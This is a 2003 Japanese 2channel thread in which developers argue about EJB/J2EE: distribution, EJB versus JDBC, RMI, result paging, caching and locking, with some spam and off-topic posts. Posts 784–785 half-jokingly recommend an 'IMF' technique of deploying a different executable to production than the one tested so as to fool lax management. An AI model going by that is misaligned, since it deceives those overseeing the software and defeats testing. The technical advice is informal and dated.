たとえば、システムにおいて部門が複数に分かれる場合。 一例だが、顧客、職員、経理、評価、会計、各部門といった具合に。 全てのデータを同一ノードで管理するのか? 部門ごとにサーバを立て、各サーバで管理するデータは切り離す。 もちろん、データを切り離す事が先ではなく、部門の切り分け、 ユースケースの抽出、そしてオブジェクトの配置と同時進行。 データを分散する事がまずあるのではなく、モデリングを進めていけば、 各部門で保持すべきインスタンスは自然と精査されていく。 分散ありきではなく、分散するしかなくなる。
>>659 一つのDBインスタンスの内部でノード分けたっていいじゃん。
DBインスタンスそのものを分割しなきゃいけない理由ジャナイヨ、それ。
EJB に関わるのは人生の無駄 後数年もすればバカでも後悔する 何でも正当化するな(#゚Д゚)ゴルァ!!
662 :
デフォルトの名無しさん :03/05/06 01:09
現在のUNIXのスペックでも部門ごとにサーバを立てる必要があるのか?
分散好きって、なんでも分散したがるんだけど、なんで? EJBがローカルインターフェイスを採用した理由考えたことあるか? 無駄な分散=システム稼動時のオーバーヘッド。 抽象的に分けたものに対して、物理的な対応を必ず一対一に取る なんて、バカじゃないの。
664 :
デフォルトの名無しさん :03/05/06 01:12
>>651 漏れのところも同じ状況。俺様わけわかでホスト間通信ライブラリを
作った香具師が、今ではその根本のミドルウェアを作ってるかのように話が大きくなってる。
もう神扱い。
>>660 ここでインスタンスといったのはDBに限らない。
それから、まず、部門ごとの独立性を確保するには、
各部門(サーバ)を同一インスタンスで管理するわけにはいかない。
サーバは物理的にどこにおかれるかは分からないし、
物理的な位置を意識しないといけない設計にするわけにもいかない。
666 :
デフォルトの名無しさん :03/05/06 01:15
俺もSunの資格とかとってjavaはかなり勉強したけど、やっぱりEJBのメリット は理解できなかった。 もうやめるよ。 >後数年もすればバカでも後悔する 後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。 勉強するだけ無駄。
>>665 だからなんでサーバマシン分ける必要があるんだよ。
668 :
デフォルトの名無しさん :03/05/06 01:16
何でもDBに持たせたがるアホもいるわけだが。 技術的なことがわからないSEが設計すると、 保証されていることさえもDBにぶち込む。あげくパフォーマンスがどうとか。 バカ抜かせと小一時間。
>>664 俺と同じところで働いているかモナー。
でも、世の中のいたるところで、こういう「開発資源の浪費」が
行われているというのが真実かもな。全くばかばかしいことで。
神扱いの奴本人以外の全ての人間にとっての、厄介の種だよな。
670 :
デフォルトの名無しさん :03/05/06 01:28
>>669 そもそも漏れにはホストの存在意義すらわからなくなってきた。
671 :
デフォルトの名無しさん :03/05/06 01:33
>>666 >後数年もすればEJBをプログラマーが意識する必要がなくなる気がする。
そんなこと言っているようじゃ、たいしたプログラマーになれないぞ。
Javaをかなりやっている様に言っているが、机で勉強しただけじゃメリット
なんか分からないだろ。
発言したらいいってもんじゃねーぞゴルァ!! この汎用異臭騒ぎオヤジめが。
673 :
デフォルトの名無しさん :03/05/06 01:40
>>671 すいません。666は既にjavaのSEです。
ちなみにEJBでシステムは何度も作ったことがあります。
ただ「メリット」について理解できないと言っているの。
>>673 EJBのどこがだめなんだ?
おれは有効に使っているけど。
675 :
デフォルトの名無しさん :03/05/06 01:48
>>673 製作者がメリットを感じることって少ないと思うぞ。
不便だと感じるだろうと思われ。
その不便さと、公知のほぼ標準化された仕組みを利用している
ことによる保守、改変作業の容易さのトレードオフかと。
676 :
デフォルトの名無しさん :03/05/06 01:48
>>673 何度も作ったはいいが、過去に構築したシステムの現状は把握してんの?
最初から最後まで見ないことには真のメリットやデメリットは見えないよ。
作り投げは簡単だからね。
677 :
デフォルトの名無しさん :03/05/06 01:50
>>674 おれも、あなたも問題ないさ。
ただ周りの反応はどうだ。嫌がられてないか?
おれはこれからSEとしてEJBをつかわないで
(JDBC経由)でシステムを作ることを提案するよ
678 :
デフォルトの名無しさん :03/05/06 01:52
>>677 JDBC経由が淘汰されゆく運命にあることを、どこかの記事で見たのだが。
ん?それはCMP使わないって言ってるだけでは。
680 :
デフォルトの名無しさん :03/05/06 01:55
>>677 別に嫌がってないよ。
俺はこれからもEJBでシステムを提案していくよ。
EJBデザインパターンでも読んでから、もう一度考え直した方が
良いと思うが。
なんだかんだでEJBスレ人気あるじゃん。あげられてるし。
682 :
デフォルトの名無しさん :03/05/06 01:56
>>675 >>その不便さと、公知のほぼ標準化された仕組みを利用している
>>ことによる保守、改変作業の容易さのトレードオフかと。
これは大嘘!!
現状のjava開発の現場では、このスレで意見を交わせるほど、java
の技術者があつまるか?
>>682 居るところには居る。
で、議論大好きなのね、みんな。
それでいて誰も「これでいく!」と断言しないってな感じで(w
今の職場ではEJBなんて話の話題にもならない。 周りは昔ながらの開発プロセスを信じてる香具師のみ。 JavaのシステムのはずだけどやってることはCと変わりない。 OOも話題にならない。 3年以上前のシステムで、MVCなんだけどその思想も崩れつつあります。 誰かJava技術者を集めてください。
685 :
デフォルトの名無しさん :03/05/06 02:03
じゅあみんな恵まれた環境で仕事してるんですね。
分散オブジェクト系はCORBAもEJBも経験したが、やはりEJBの方が工数的に余裕が出る印象。
CORBAだと、
>>684 の悩みがあっというまに吹き出す可能性が高い。
>MVCなんだけどその思想も崩れつつあります。
で、自前のFWを準備することになるが、EJB程の完成度は望めない。
687 :
デフォルトの名無しさん :03/05/06 02:06
>>682 数年後を考えてみませう。
因みに5年前、Javaはおもちゃ同然の糞と、多くの
セクト主義はびこる日本人技術者に蔑まれていました。
688 :
デフォルトの名無しさん :03/05/06 02:10
>>674 さん
あなたはプログラムが趣味でしょ。
ビジネス的な思考でシステム開発している人はEJBを
>>おれは有効に使っているけど。
なんて発言でないと思うけど。
689 :
デフォルトの名無しさん :03/05/06 02:11
>>684 メンテやってるのですか?メンテ要員ってデキナイ君の配置+神1人(障害時のみ)
配置されることが多いから思想なんてぐちゃぐちゃに掻き回される。
私が過去に携わったシステムで、4年後に再度見ることになったのだが・・・・
実装レベルで見直すと酷い物でした。
690 :
デフォルトの名無しさん :03/05/06 02:15
>>688 書いた後に何か言われそうだとは思ったけど、なんでそう思うのかを
説明してくれないかな。
ちなみに仕事以外でプログラムはしません。
でも、確かにjavaはできるけど、OO的なモデリングやプログラミングはダメって 香具師は多いと思う。 モジュールレベルでいい感じに作られてたのに、一人のプログラマのせいで それがぐっちゃんこにされてしまう事もあるし。 人選びは重要だけど、自社の人員資源ではもう無理!って感じる人は多いと思う。
692 :
デフォルトの名無しさん :03/05/06 02:22
>>690 EJBで開発するのと単にJDBC経由で開発するので
技術者のスキルも、かかる工数も大幅に変わってくる。
開発での採算が合わなくなる。
EJBもJDBCもユーザーからすればどうでもいい話。
ならば、やすくシステム作るように提案したほうが
現場から喜ばれるでしょ。
>>691 似たような経験あるな。
確かにJAVAだが、そりゃねぇだろおいみたいな。
694 :
デフォルトの名無しさん :03/05/06 02:29
>>683 >>居るところには居る。
ならばあなたの意見
>>その不便さと、公知のほぼ標準化された仕組みを利用している
>>ことによる保守、改変作業の容易さのトレードオフかと。
はやっぱり大嘘!!
695 :
デフォルトの名無しさん :03/05/06 02:29
>>692 確かにユーザからしたらどっちでもいい話ではあるが、工数が大幅に変わる
というのはEJBを使うと工数が大幅に増えると言っているの?
そんなこと全然ないよ。
今やっているプロジェクトはjava初心者もいるけど、EJBでやっているよ。
ステートレスセッションBeanでEJB Commandパターン使っているから、EJB
を使っているということを意識していないと思うけど。
rollback、commit書かなくて済むから現場も喜んでいるよ。
696 :
デフォルトの名無しさん :03/05/06 02:29
オイオイ、EJB開発って、開発者にとって難しいか???
697 :
デフォルトの名無しさん :03/05/06 02:33
どうも、EJBは面倒くさいことを簡単にしてくれているという ごく基本的なことをわかっていない人がいるようで。 生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる より100倍楽。
699 :
デフォルトの名無しさん :03/05/06 02:36
>>695 既にEJB開発のためのフレームワークを開発したのですね。
EJBはコーダーにとっては退屈ではないかな。 設計者には面白いかもしれんが。
701 :
デフォルトの名無しさん :03/05/06 02:36
>>692 エンドユーザーが技術についてどうでもいいことくらいは、言わなくても誰もが認知済みでしょう。
少なくとも情シス部門は保守まで考えた視点で、どの技術を用いるかの決断はする。
やすく提案して、エンドユーザーに喜ばれた事例ってあるんですか?
部長クラスには喜ばれるだろうが、エンドユーザーはUI以外で喜びませんよ。
702 :
デフォルトの名無しさん :03/05/06 02:37
FFX2でコンプリート95%越えても だれも兄貴との性交イベント発生しないのだが? これって不良品? コンプしたら発生する?
まあ、たまにシステムにやったら詳しくて、モデリングそのものにガンガン 口出してくるエンドユーザーもいるけど。
704 :
デフォルトの名無しさん :03/05/06 02:41
そもそも普通のシステム開発(95%)で >>生RMIやCORBAでガリガリ、あるいはソケット直でゴリゴリやる こんな需要ないね。 需要がないのに >>どうも、EJBは面倒くさいことを簡単にしてくれているという >>ごく基本的なことをわかっていない人がいるようで。 この意味は理解できない。
705 :
デフォルトの名無しさん :03/05/06 02:42
>>699 開発と言えるほどのことじゃなくて、EJBデザインパターンという本を
丸写ししただけのものです。
>>704 あるよ。少なくともCORBAは。
「普通の」ってどういう基準で言ってるのかわからんけど、
分散オブジェクトの技術としてはEJBもCORBAも同じ。
CORBAでもAPサーバを利用すれば随分プログラミングが楽になる。
もちろん、APサーバ依存になってしまうが。
707 :
デフォルトの名無しさん :03/05/06 02:44
高レベル言語で抽象化を突き詰めた結果、いろんな実装技術があるわけでしょ? 上記文章で、何を言いたいのかは俺自信わからないわけだが。
708 :
デフォルトの名無しさん :03/05/06 02:44
>>701 エンドユーザーに喜ばれたとは書いてないですよ。
開発会社が利益が出て喜ぶでしょ。
709 :
デフォルトの名無しさん :03/05/06 02:45
>>704 おいおい、プロセス間通信を必要としない仕組みは、そもそもEJBの
適用範囲外だが。
710 :
デフォルトの名無しさん :03/05/06 02:46
>>706 その依存ってやつがどうしても嫌でしょうがない。
根本の仕様を押えておけば苦にならないだろうけど、
初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
711 :
デフォルトの名無しさん :03/05/06 02:47
あんたら、そろそろ寝ないとエンドユーザーどころか同僚からも喜ばれないよ。
712 :
デフォルトの名無しさん :03/05/06 02:49
>>706 分散オブジェクトでなければ開発できないシステムの規模や条件について
具体的に説明してくれれば理解できるのですが。
>>710 >初学者にとってベンダ独自仕様は邪魔以外の何者でもない。
それは、EJBやCORBAに限らずだね。
714 :
デフォルトの名無しさん :03/05/06 02:50
>>710 JDBCだって、DBとJDBCドライバに依存しますが。
715 :
デフォルトの名無しさん :03/05/06 02:51
>>710 XML-APIだってXerces/Xalanつかうか(以下略
716 :
デフォルトの名無しさん :03/05/06 02:52
>>714 依存部分もよく理解すればjavaのインターフェース内で処理できる場合が多い。
717 :
デフォルトの名無しさん :03/05/06 02:53
つうか、J2EE準拠のAPサーバでベンダ独自仕様なんて、滅多に使わないでしょ。 無いとは言わないが。
今のプロジェクトではXarcex,Xalan,Xml4J、いろんなXMLapiがごちゃ混ぜです。
719 :
デフォルトの名無しさん :03/05/06 02:58
>>714 依存してねーだろ。もしかしてSQLのこと言ってんの?プ
720 :
デフォルトの名無しさん :03/05/06 03:00
>>719 第3者だけど。依存している部分はあるよ。
BLOBデータのあつかいとか。
721 :
デフォルトの名無しさん :03/05/06 03:01
722 :
デフォルトの名無しさん :03/05/06 03:01
>>719 オイオイ,夜中に付き合ってみたら、要するにど素人かよ…
JDBCの各インターフェイスに対して、機能が全て実装されているとは限らんよ。
ドライバの実装依存。幾つかの機能は、そもそもDBが持ってないから実装されない
こともある。即ちDB依存。
ん、コネクションまわりで少々クセがあったような。 うろ覚え。
724 :
デフォルトの名無しさん :03/05/06 03:04
やれやれ。
725 :
デフォルトの名無しさん :03/05/06 04:02
最近EJBと言う名前は良く聞くのですが、これを利用して 何ができるようになるんでしょうか? 皆さんがEJBを使って目指すものって何ですか?
726 :
デフォルトの名無しさん :03/05/06 05:45
>>725 EJBをサポートするアプリケーションサーバを使えば、
分散オブジェクトで作るシステムを(マッサラから自作するよりは)
簡単に作れる。
分散オブジェクト自体がイロイロ面倒なので、ボタン一つでポイ
というほど簡単ではないですが。
727 :
デフォルトの名無しさん :03/05/06 21:36
EJB学ぶ前提ってことで、とりあえずRMIをやろうと思ってよ。 お決まりのHelloWorldをリモートメソッド呼び出しによりやってみたが、 うまく動作しない。サンプルコードを動かすだけでこの手順は複雑すぎ。 これだけ時間かけてHelloWorldはないだろ。。。 で、いくつか思ったことがあったんだけど、スタブとスケルトンって沢山できない? サンプルレベルなら1組でいいだろうけど。
スレ違いだけどeclipseでrmicを動かす方法あるの? 外部ツールとかに割り当てて試してはみたけど、これまたうまく動作しないどころか まったく反応なし。
729 :
デフォルトの名無しさん :03/05/06 23:49
>>727 全ての通信手順を一つのやり方に出来るので、規模が小さい時は不便なだけだ
けど、規模が大きくなってくると便利だよ。
でもって、EJBはRMIスタブとスケルトンの存在もラップして、もうちょっと抽
象度の高いレベルにしてくれているので、もっと便利。というだけの話。
730 :
デフォルトの名無しさん :03/05/06 23:50
素朴な疑問だけどRMIって同一マシンで複数VMじゃテストできないの? //127.0.0.1:1099/ほげほげ 片方のVMにレジストしたらいいのかな。試してみよ。
>>729 インターフェースなので当たり前ですが、
一度作成したスタブ・スケルトンはリモートメソッドの追加等がない限り、再コンパイルの必要なし。
ってのはちょっと感動した。なにせ初学者なもので・・・。
733 :
デフォルトの名無しさん :03/05/07 04:34
>>731 ?エクスポートしてレジストリにバインドすれば、VMまたいでコールできるの
がRMIでっしゃろ?
レジストリへのバインドも、レジストリサーバに対する登録依頼のプロセス間
通信。レジストリサーバが、そのURLのドメイン部分で持ってこれる場所にアレバ
イイだけっス。
734 :
デフォルトの名無しさん :03/05/08 02:09
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、 なぜでしょうか? 私の認識ではEJBの持つ下記の性質のためだと思っていますが、 間違っていたらご指摘してください。 アベイラビリティ → 位置透過性(クラスタ対応+CMT) スケーラビリティ → 位置透過性(リモート呼び出し) EJBを本当に使う必要があるのか迷っています。 またエンティティBeanは実際の業務APで皆さん使われてますか? 私の意見としては更新系にしかエンティティBeanは使えないと思っています。 使っている方はテーブルとエンティティBeanをどのようにマッピングしているのでしょうか? CMP+CMRを使ってテーブル:エンティティBean=1:1で対応させているのでしょうか? 業務APでEJBを開発した方の意見をお願いします!
735 :
デフォルトの名無しさん :03/05/08 02:12
Javaを使ったバッチ処理って皆さんJ2EE使われていますか? 通常のClassでJDBCでがちがち書いた方が良さそうな気がしますが、 どうなのでしょう? JSP、Servlet、セッションBeanはまず使わないだろうし。 エンティティBean、MessageDrivenBeanは使われていたりするのでしょうか? 一括更新だからメモリを食って効率も割るそうですなぁ・・・
736 :
デフォルトの名無しさん :03/05/08 02:32
>>735 漏れのところはJDBCでがちがち書いてる。
バッチでJ2EE使ったら許容時間超えそうで怖い。
といいますか、バッチのような単純処理にJ2EEを使うメリットありますか?
>>736 回答どうもです!
私としてはバッチでJ2EEを使うメリットを下記のように考えましたが、
エンティティBean
→ 1.トランザクション自動制御
2.エンティティBeanのオンラインとの共有化
やはりエンティティBeanでは性能を考えると辛いような気がします。
738 :
デフォルトの名無しさん :03/05/08 02:44
なぜバッチ? もう少し具体的な説明頼む(何をするか
>>738 なぜバッチかというと現状Cで作成したバッチ処理を
Java(J2EE)で実装した場合どのようになるかを検討しています。
バッチ処理の内容としてはDBの一括更新+CSVファイルの作成です。
説明不足で申し訳ありません。
740 :
デフォルトの名無しさん :03/05/08 02:52
夜間バッチと言ったら、やってることはどこも大差ないと思われる。 最初は、JNIコールでやって、徐々にJavaに移行したら?
741 :
デフォルトの名無しさん :03/05/08 02:55
>>737 >トランザクション自動制御
整合性で同期とるのはダメなの?
742 :
デフォルトの名無しさん :03/05/08 03:03
AppletからEJBを呼ぶときって皆さんどうされてますか? おそらく2つの手法があると思っています。 どちらのパターンが推奨されるのでしょうか? メリットは私の推測ですが間違っていたらご指摘してください。 1.APPLET→Servlet→EJB メリット:ファイヤウォールを越えられる 2.APPLET→EJB メリット:速度が速い、コーディング量が減る。
>>742 EJBをもう少し理解された方がよろしいかと思います。
>>742 間違いなく1でしょう。
セキュリティから考えてみてもIIOPなどのポートをインターネットに公開すべきではありません。
>2.APPLET→EJB
> メリット:速度が速い、コーディング量が減る。
コーディング量は減りますが速度が速くなるとは限りません。
サーブレットと通信するモデルは結果だけやり取りすれば良いので通信量を減らすことが出来ますが、
直接EJBを扱う場合は、IIOPなどのオーバヘッド、スタブのシリアライズ、デシリアライズやセキュリティの確認のための通信が
発生するため、かなりの通信量が発生します。
EJBの分散機能はノードがかなり近くにある状況で利用するのが、よりと思います。
746 :
デフォルトの名無しさん :03/05/09 01:46
>>734 どなたか734に対して意見をいただけませんか?
747 :
デフォルトの名無しさん :03/05/09 02:14
J2EEで大規模開発をやろうと思っています。 通常はフレームワークを使わないと品質がまばらになってかなり辛いと思うのですが、 実際はどうなんでしょうか? あと、フレームワークはいろいろ調べてみたところcFrameworkが良さそうですが、 実際どうなんでしょう? 実際のプロジェクトで使われている方の意見が聞きたいです。 cFrameworkで非同期や会話型のAPは作れますか?
749 :
デフォルトの名無しさん :03/05/09 02:16
>>748 ということはオンライン同期処理しかできないということですか?
750 :
デフォルトの名無しさん :03/05/09 03:31
J2EEを使って、1万件のデータを検索してその結果を表示する場合、 100件ずつくらい分けてHTMLに出力するというのが一般のやり方だと思っていますが、 その実装方式って皆さんどうされてますか?(どこでそのデータを保持していますか? ) StatefulSessionBeanを使われてますか? HttpSessionで処理されてますか? 個人的には「StatelessSessionBean」+「HttpSesion」の方が メモリが消費されずに済むので良いと思っています。
お前のケツ毛にPL/SQL
>>747 cFramework使うぐらいならStruts使っとけ。
傾き書けている会社の使ってもろくなことにならない。
今ならStruts使えるエンジニアのほうが集まるだろうし
使えるようになりたいエンジニアもcFrameworkよりは多いと思われ。
>>750 「StatelessSessionBean」+「HttpSesion」良いと思います。
ただし、大量の検索結果を一時保管する際には、プライマリキーの配列
だけを保存しておく必要があるかもしれません。
cFramework使った事あるよ。 どこが特別優れているのかはわからんが、 使いやすかった覚えはある。
755 :
デフォルトの名無しさん :03/05/10 00:03
age
756 :
デフォルトの名無しさん :03/05/10 00:54
簡単にやろうとすると、こんなんもありかな? requestで処理して、アプリケーションでは保持しない。 SELECT * FROM (検索SELECT文) WHERE ROWNUM<=最終行 MINUS SELECT * FROM (検索SELECT文) WHERE ROWNUM<開始行
758 :
デフォルトの名無しさん :03/05/10 07:41
>EJBを本当に使う必要があるのか迷っています。 セキュリティや分散などの機能を利用しないのであればあまり必要はないかもしれません。 ただ、開発が容易なSLSBで強固なトランザクション制御を簡単に利用できるなど、逆に「使わない理由」というのも見当たりません。 EntityBeanはこれからの仕様ですから無理に利用しなくても良いと思います。なにせやっとORDER BYできるようになったぐらいですから。 ただし本格的なオブジェクト指向をやる場合は透過的なオブジェクトの永続化層が必要ですから、 これを自作するよりは、JDOやEntityBeanなどのミドルウェアを導入するのが開発工数の節約になるでしょう。 また標準の機能であるので、自作した永続化層より保守が容易であることも導入の理由となるかもしれません。 >私の意見としては更新系にしかエンティティBeanは使えないと思っています。 そんなことはありません。 現在のほとんどのアプリケーションサーバーは読み出し結果をキャッシュする機構を備えているので、 読み出し時のパフォーマンスはかなり改善されています。 ただし、照会結果が大量の場合はJDBCを直接利用するアプローチを取るのが一般的です。 照会結果が少量の場合はEntityBeanでEJB QLを利用するのがいいと思います。 これらを使い分けることにより開発工数を減らすことが出来ます。 オブジェクト指向で開発するならEntityBeanが一番手っ取り早いです。 手持ちのアプリケーションサーバーに機能がついていますから。 ただし、普通のwebアプリケーションの開発であればStrutsとSLSBとDAOパターンなどで(なんとなく)出来てしまうので、 よくわからないものに手を出して、プロジェクトを失敗させたくない人はEntityBeanは使わないほうが良いでしょう。
759 :
デフォルトの名無しさん :03/05/10 07:55
>>750 1万件は多いね・・・。一時的にHttpSessionに置くにしても多すぎる。検索->切断を繰り返すと容易にシステムダウンできる。
一番パフォーマンスが良いのは、カーソルをキャッシュしておいて表示する度フェッチする方法だけど、
これも危険、コネクションプールを使い尽くす可能性がある。。
私がやっていたのはシステム内にオブジェクト管理クラスを用意してそこで照会、オブジェクトの作成、キャッシュをさせるという方法。
最初の検索は時間がかかるけどそれ以降はキャッシュヒット率が上がってくると10倍くらいのパフォーマンスの向上があった。
キャッシュするオブジェクト数も管理できるのでメモリも食いつぶす必要がない。
特定の照会系に絞ってキャッシュ機構を構築するのが一番いいと思う。
760 :
デフォルトの名無しさん :03/05/12 01:16
EJBを使用するとアベイラビリティ、スケーラビリティがあがるといわれてますが、 なぜでしょうか? 私の認識ではEJBの持つ下記の性質のためだと思っていますが、 間違っていたらご指摘してください。 アベイラビリティ → 位置透過性(クラスタ対応+CMT) スケーラビリティ → 位置透過性(リモート呼び出し)
761 :
デフォルトの名無しさん :03/05/12 01:28
>>759 キャッシュするのは解るけど、
数万件のデータを保持するオブジェクトって大丈夫なの?
都度、DBアクセスする方が安全のような気がするんだけど。
>>761 それは難しいところ。
1万件の照会を毎回やり直せる体力がDBにあるなら、それでいいと思うよ。
ないのであれば、キャッシュするしかない。
>>762 50万件から数万件引っ張ってくることを想定すると、
PreperedStatementキャッシュ、テーブルインデックスを用いたとしても
一定人数以上から同時アクセスされると容易に死ねるような気がする。
とすると、キャッシュ容量は十分に考慮しなければならない。
それ以前に、1万件画面に引っ張ってくる状況って殆どないように思える。
764 :
デフォルトの名無しさん :03/05/12 20:43
キャッシュしてるのは、変更が少ないマスター系のデータ? そういうデータをシングルトンで保持しておくのは良くある方法かと思ってた。
765 :
デフォルトの名無しさん :03/05/12 21:15
>>764 マスター系はキャッシュの恩恵得られやすいだろうね。
しかし、「住所マスター」これってデカくねーか?
>>763 @ITにPreperedStatementキャッシュについての記事があったね。なかなか使えそう。
767 :
デフォルトの名無しさん :03/05/12 21:20
1回の検索で1万件ってそんなに多いかな? 行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、 DBにとってはさほど酷な仕事じゃないと思う。 システムによりけりだが。
768 :
デフォルトの名無しさん :03/05/12 21:28
>>767 > 行もさほど大きくなく、条件も単純でソートエリア大量消費しなければ、
自分で条件特定してるじゃん。それで酷ではないって言うのはどうかと。
1万件ってそんなに多くないが、いろんな側面を考慮すると酷な場合もあり得る。
システムによりけりで、一概に言えないと思われる。
769 :
デフォルトの名無しさん :03/05/12 23:16
異なるEJBメソッドの呼び出しから、同一テーブルの同一カラムの値を更新する場合。 どうやって排他制御されるんでしょうか。 Webからほぼ同時に異なるリクエストが到着して、 異なるセッションビーンのメソッドから、 同一のエンティティビーンABCBeanのsetterメソッドを呼び出すとします。 このときって、どういう風に更新されるの? どっちかが失敗するの?
770 :
デフォルトの名無しさん :03/05/12 23:20
普通に後勝ち。 それがシステム上マズイならアプリで排他制御を実装すべし。
>>769 コンテナが良きに計らってくれるんじゃないの?
773 :
デフォルトの名無しさん :03/05/13 02:50
EJBだけでストアドプロシージャ使えますか?
HttpSession session =request.getSession(true); session.setAttribute("ID","XXXXX"); sessionにbean以外の登録って出来ますか?
776 :
デフォルトの名無しさん :03/05/13 14:27
a
777 :
デフォルトの名無しさん :03/05/13 22:11
>>775 ネタ?
お前のbeanがObject以外から派生してるなら無理
778 :
デフォルトの名無しさん :03/05/14 06:32
JBOSSはSUNからJ2EE準拠の認定取れたんでしょうか? J2EE準拠テストを提供されたとかいうニュースが3ヶ月ぐらい前にあったが。
781 :
デフォルトの名無しさん :03/05/14 22:17
JDKのj2eeより軽いって、jbossってどういう仕組みなんだろうなぁ。
>>781 単にj2eeがパフォーマンス重視で作ってないだけだろ。
783 :
デフォルトの名無しさん :03/05/14 22:55
サーバーとクライアントでデータをやりとりするアプレットの業務アプリ を作ってるんですが、サーブレットも使わずわざわざソケットをつかって サーバーサービスをつくり、これでクライアントとデータをやりとりして ます。単純なデータのやりとり、単純なセッション管理しかできないしろ ものなんですが、このようなやり方ってお薦めできる技法でしょうか?
784 :
デフォルトの名無しさん :03/05/14 23:18
>>783 IMF技法をお勧めする。
IMFとは、Implementation Method Falsificationの略で直訳すると
「実現方法改ざん」である。初心者にはお勧めできないが。
785 :
デフォルトの名無しさん :03/05/14 23:35
私はこの技法を幾度も用いたことがある。 IMFが威力を余すことなく発揮させるには、いくつかの要素がある。 要素のなかで、習得が容易なものを以下に記述する。 1.シチュエーション 2.杜撰な上層部 3.テストフェーズの実行ファイルと、運用フェーズの実行ファイルの物理的相違
787 :
デフォルトの名無しさん :03/05/15 16:46
EJBでレコードのロックはできるんですか?
788 :
デフォルトの名無しさん :03/05/16 00:58
リモートのDBサーバのデータキャッシュの方法で、Sessionその他のオンメモリ のコレクションに強参照で丸ごと放り込んでおくっていう発想しかないのは、 何でですか? ローカルのディスクにテンポラリ作って保存して、弱参照でオンメモリにキャ ッシュとか、そういう方法ってとらないの?別に工数がすごくかかるような難 しいことじゃないよね?何かまずい問題があるのでしょうか?
>>787 Session BeanかBMP Entity Beanでselect for updateとか投げればできるのでは?
>>789 CMPだとロック掛けられないんですか?
データに矛盾とか起こらないのだろうか。
>790 CMPでもWrite Lockはもちろんかかる。 てっきり明示的にロックをかける話かと思ったのだがそうじゃないのね。
792 :
デフォルトの名無しさん :03/05/16 02:49
たとえば入力→確認→完了ってフローを考える。 入力画面ではRDB上の何らかのデータを参照しているとする。 ここでは例として「頻繁に切り替わる現在価格」を参照しているとします。 Webアプリとして画面遷移させるとき、 入力と完了の間に他のトランザクションが発生することが予想されますよね。 でも、ユーザーは「入力画面で見た情報」をもとに意思決定をしているわけだから、 「入力」の完了以降、「完了」の開始前の間に現在価格が切り替わるとマズイ。 これってEJB仕様の範囲で回避可能? それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる? スマートな解決法はどんななんでしょう。
793 :
デフォルトの名無しさん :03/05/16 04:22
>>792 「ノンリピータブルリード」の問題ですね。
おそらくEJB仕様では記述されていないと思います。
APサーバやDBMSの独自仕様の設定で
トランザクションの隔離レベルを「REPEATABLE READ」以上にすれば
回避できると思われます。
もしくはEJBパターンの「Version Number」パターンを使ってプログラムで
対処するかでしょう。
(「Vesion Number」パターン
→ バージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる手法をパターン化したもの)
795 :
動画直リン :03/05/16 05:13
>>792 >>793 EJBから見たトランザクションは、入力、確認、完了、それぞれの画面ごとなので、
トランザクション分離レベルを設定しても対処不可でしょう。
> それとも、入力画面出力時点のバージョンIDやらタイムスタンプを保持して、完了画面まで持ちまわる?
この方法しかないのでは。
797 :
デフォルトの名無しさん :03/05/16 20:36
Tomcat単体をインストール後にJ2EEをインストールしたんですが J2EEのポート番号はどうやって変えるんでしょう? また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると 何か問題ありますか? MySQLをインストールしているのですが、 TomcatからMySQLにアクセスすると同時にJ2EEからMySQLにアクセスすることは できますか? また、これには何か問題がありますか? EJBにはストアドプロシージャや JDBCのPreparedStatementのようなDBアクセス高速化機能はありますか? と、いった解説が載っているJ2EE関係のサイトまたは書籍があったら、まるで教えて訓ですが教えてください。
J2EEにTomcatが内蔵されているってことはTomcat無しでstrutsやTurbineも使える?
>>797 > また、Tomcat(またはTomcatと連携されたApache)とJ2EEとを同時に起動すると
何か問題ありますか?
同時起動する必然性が全くない。
やるなら内部通信ポート含めて全部ポート番号ずらせばできないことはない。
> J2EEのポート番号はどうやって変えるんでしょう?
J2EEとは仕様のことだが?J2EE RIまたはJ2EE SDKのことだろ?
J2EEのサーブレットコンテナはTomcatだよ。server.xmlをいじってみれ。
>>798 もちろん使える。
800 :
デフォルトの名無しさん :03/05/17 02:59
>>797 もしかして、J2EEってj2ee(EJBサーバ)の事を言っているとか?
801 :
デフォルトの名無しさん :03/05/18 18:46
>>784 すごい技術だな。ってほんとにあるのかその手法????
802 :
デフォルトの名無しさん :03/05/18 19:34
DBのテーブルを検索して、 「もしテーブルに同じデータが存在しなければ、新しいレコードを挿入する」 って処理をする時ってテーブルのロックが必要だと思うんですが EJBではどうやるんですか?
803 :
デフォルトの名無しさん :03/05/18 21:06
>>802 ロックの必要性を全く感じないが?
insert実行->同じデータが無ければ挿入成功、同じデータがあれば一意制約違反。
804 :
デフォルトの名無しさん :03/05/18 22:45
>>803 そういうぶっつけのSQL実行はお行儀が悪い。
行儀とパフォーマンスを天秤に書けるならこの場合パフォーマンスかな。 まぁ DB2 なんかは INSERT の時点でテーブルロック並みのロックがかかるけど。
うーむやっぱEJBじゃ無理なの? 例えば列車などの座席予約システムみたいなので 座席の空きをコンピューターで確認してから お客様に「座席の空きが有りますヨ」と伝えても 次の瞬間に別なユーザから座席を横取りされたら困るよね。 こんな時にもロックが使いたいと思うんだけど、EJBではやっぱ無理?
807 :
デフォルトの名無しさん :03/05/18 22:55
>>806 フラグ持たせりゃいいじゃん。別にどうってことない。
808 :
デフォルトの名無しさん :03/05/18 22:57
>>806 その場合、空席全部をロックしたら余計に困る。
>>807 DBのロックを使ってるレガシーシステムと共存する場合は
それだと困ると思うけど
810 :
デフォルトの名無しさん :03/05/18 23:00
>>809 別に。考えすぎだよ。EJBでできるかどうかが問題になってるのだろうけど、
プログラムにできないことは、ほぼ無いに等しい。
あとは客と話し合って、どこまで保証するかどうかの問題。
812 :
デフォルトの名無しさん :03/05/18 23:10
>>811 とりあえず、ソース汚くなろうとも逃げ実装だけは用意しておくことをお勧めする。
余裕があるならベストな方法考えたらいい。
813 :
bloom :03/05/18 23:11
814 :
デフォルトの名無しさん :03/05/18 23:18
>803 キー項目を自動生成する場合(Oracleのシーケンスオブジェクトとか)どうすんのよ
>806 何故EJBで無理で他なら出来ると思ったのか
816 :
デフォルトの名無しさん :03/05/18 23:23
EJBなんてMVCのModelなだけだ。
>816 …傍に誰も居ない夜にひとり、2chで独り言か。せめて俺が1レスつけといてやるよ。今日はもう休め…
